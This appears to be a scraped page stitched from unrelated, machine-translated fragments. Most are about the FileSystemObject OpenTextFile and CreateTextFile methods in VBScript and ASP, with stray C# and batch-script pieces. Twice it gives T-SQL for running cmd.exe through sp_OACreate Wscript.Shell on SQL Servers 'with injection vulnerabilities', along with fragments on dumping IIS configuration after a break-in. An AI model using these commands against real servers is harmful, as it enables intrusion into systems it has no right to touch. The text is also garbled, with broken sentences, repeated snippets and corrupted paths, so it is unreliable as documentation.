Object. opentextfile (filename [, iomode [, create [, format])
Parameters
Object: required. The name of the FileSystemObject object.
Filename: required. String expression, indicating the name of the file to be opened.
Iomode: Optional. The input/output mode is one of the following three constants: forreading, forwriting, or forappending.
Create: Optional. Boolean value indicates whether a new file can be created if the specified filename does not exis
Object. OpenTextFile (filename[, iomode[, create[, format]])ParametersObject: Required option. Should be the name of the FileSystemObject object.FileName: Required option. A string expression that indicates the name of the file to open.IOMode: Options available. The input/output mode is one of the following three constants: Forreading,forwriting, or ForAppending.Create: Optional. Boolean value that indicates whether a new file can be created when the
OpenTextFile is a method in ASP languageOpens the specified file and returns a TextStream object that can be read, written, or appended to the file by this object.Object. OpenTextFile (filename[, iomode[, create[, format]])
1. Method Editor opens the specified file and returns a TextStream object that can be read, written, or appended to the file by this object.object.
OpenTextFile method
Opens the specified file and returns a TextStream object that can be read, written to, or appended to the file.
object.OpenTextFile(filename[, iomode[, create[, format]]])
Parameters
Object
Required option. Should be the name of the FileSystemObject object.
FileName
Required option. A string expression that indicates the name of the file to open.
IOMode
Options available. The input/output mode is one of the following three constant
do anything else, you must open a text file. You can open an existing file or create a new text file. After the file is created, it is opened by default. Each method returns a textstream object instance.
After obtaining the textstream object, you can write or read the object to the file. However, you cannot read or write data to the same file. In other words, in the same operation, you cannot open a file, read the file, and then write to it. You must close the file after reading it, open the fi
. createtextfile (filename [, overwrite [, Unicode])
Overwrite is optional. Boolean value, indicating whether an existing file can be overwritten. If it can be overwritten, its value is true, and its value is false, it cannot be overwritten. If it is omitted, existing files cannot be overwritten.
Unicode is optional. Boolean value, indicating whether the file is created as a Unicode file or as an ASCII file. If it is created as a Unicode file, its value is true. If it is created as an ASCII file
the log path, and the program exits. >>%today% pause exit) echo is performing a list of server directory files to create, please wait ... echo is performing a list of server directory files to create, please wait ... >>%today% ping-n 3 127.1. >nul ftp-i-s:%log_path%command.txt%remote_ip% Echo is checking the list of server directory files created, please wait ... echo is checking the list of server directory files created, please wait while ............> >%today% if "%remote_directory%" Neq ""
The simplest method is to use the FileSystemObject object. It is not a built-in VB object,
It can be used only after being referenced.
1. FileSystemObject Object Reference"Project/reference/Microsoft startup runtime"In the Object Browser window, select the "scripting" module. As you can see, many objects are added,Drive FileSystemObject textstream File
Among them, FileSystemObject is the key to these objects and wants to use other objects,
You must first create a FileSystemObject object.
2. File
Switch from ---> big it _ rest place -- Huo Jianwei
They are high people
Some FSO code added to the favorites will be shared.Good codes will be added one after another.
Many people have asked questions about the dynamic include file.Program code 'uses FSO to dynamically call a file
Function include (filename)
Dim re, content, FSO, F, aspstart, aspend
Set FSO = Createobject ("scripting. FileSystemObject ")
Set F = FSO. opentextfile (server. mappath (f
records for all columns
Select name from master.dbo.sysdatabases only lists records for the name column
8, do not need xp_cmdshell support in the injection of the vulnerability of SQL Server run cmd command:
Create TABLE mytmp (Info VARCHAR), ID int IDENTITY (1,1) not NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR (400)
EXEC sp_OACreate ' Wscript.Shell ', @shell output
EXEC sp_OAMethod @shell, ' run ', null, ' cmd.exe/c dir c:\>c:\temp.txt '
fso| Tutorial
How to open a file using the FSO -fso Use tutorial 4
After understanding the file copy, delete, move, and rename, let's learn how to access the data in the file. The TextStream object that must be used for file access is a FileSystemObject child object. The method has two kinds of opentextfile and createtextfile, the use example is as follows:' first set up the FileSystemObject object
Set fs = Server.CreateObject ("Scripting.FileSystem
FSO FSO In addition to the drive, folder operation, the most powerful function is the operation of the file. It can be used for counting, content management, searching, generating Dynamic HTML pages, and so on.
First, FSO. OpenTextFileNeedless to say, FSO. OpenTextFile is to open a file, under normal circumstances is open txt text file. So first we create a TXT file, and then through the FSO to read the content.
1,info.txt
Name:cnbruceSex:male
Set up
parameter true indicates the result of waiting for the program to run. This parameter must be used for long-time commands similar to ping.
EXEC sp_oacreate scripting. filesystemobject, @ fso outputEXEC sp_oamethod @ fso, opentextfile, @ file out, c: emp.txt-- Because the fso opentextfile method returns a textstream object, @ file is an object token.
WHILE @ shell> 0BEGINEXEC sp_oamethod @ file, Readline, @
objects.
Another major benefit of using C #4.0 is that the language now supports optional and named parameters and so we'll now take a look at how this feature will change the way you design and write your code.
One design pattern you'll often see as that a particle method is overloaded because the method needs to be called with a variable number of parameters.
Let's assume that we have the followingOpenTextFileMethod along with three overloads of the method with different signatures. overloads
and write to the file, where "ForWriting" represents a write file.Unlike the CreateTextFile method, the OpenTextFile method is used to obtain the file name you specify and open it, using the parameters we can do a variety of different operations on the file, and the CreateTextFile method, like OpenTextFile The TextStream method returns an object that allows you to manipulate the file after it is opened. Th
master. dbo. sysdatabases only lists records in the name column
8. xp_cmdshell is not required to support running the CMD command on SQL servers with injection vulnerabilities:Create TABLE mytmp (info VARCHAR (400), ID int IDENTITY () not null)DECLARE @ shell INTDECLARE @ fso INTDECLARE @ file INTDECLARE @ isEnd BITDECLARE @ out VARCHAR (400)EXEC sp_oacreate wscript. shell, @ shell outputEXEC sp_oamethod @shell,run,null,cmd.exe/c dir c:> c: emp.txt, 0, true-- Note that the run parameter true in
/root> a.txt ;--Is it too long? through this, we can set the first virtual web site in iis (including the actual directory where it is located)Import to a.txtThe actual location of a.txt is c: winntsystem32 by default. In fact, this is not a problem, but the Administrator has encountered adsutil. vbsDeleted or put it to another locationWe can't do anything about it (it's impossible to write one by using the echo command)Step 2: Use the echo command to write the following code into c:. Isn't it a
There are two main types of file processing:
Create, add, or delete data, and read files
Moving, copying, and deleting files
Create a file
There are three ways to create an empty text file (sometimes called a "text stream").
The first method is to use the CreateTextFile method. The following example demonstrates how to create a text file in VBScript in this way:
Dim FSO, F1
Set fso = CreateObject ("Scripting.FileSystemObject")
Set f1 = fso. CreateTextFile ("C:\testfile.txt", True)
To use th
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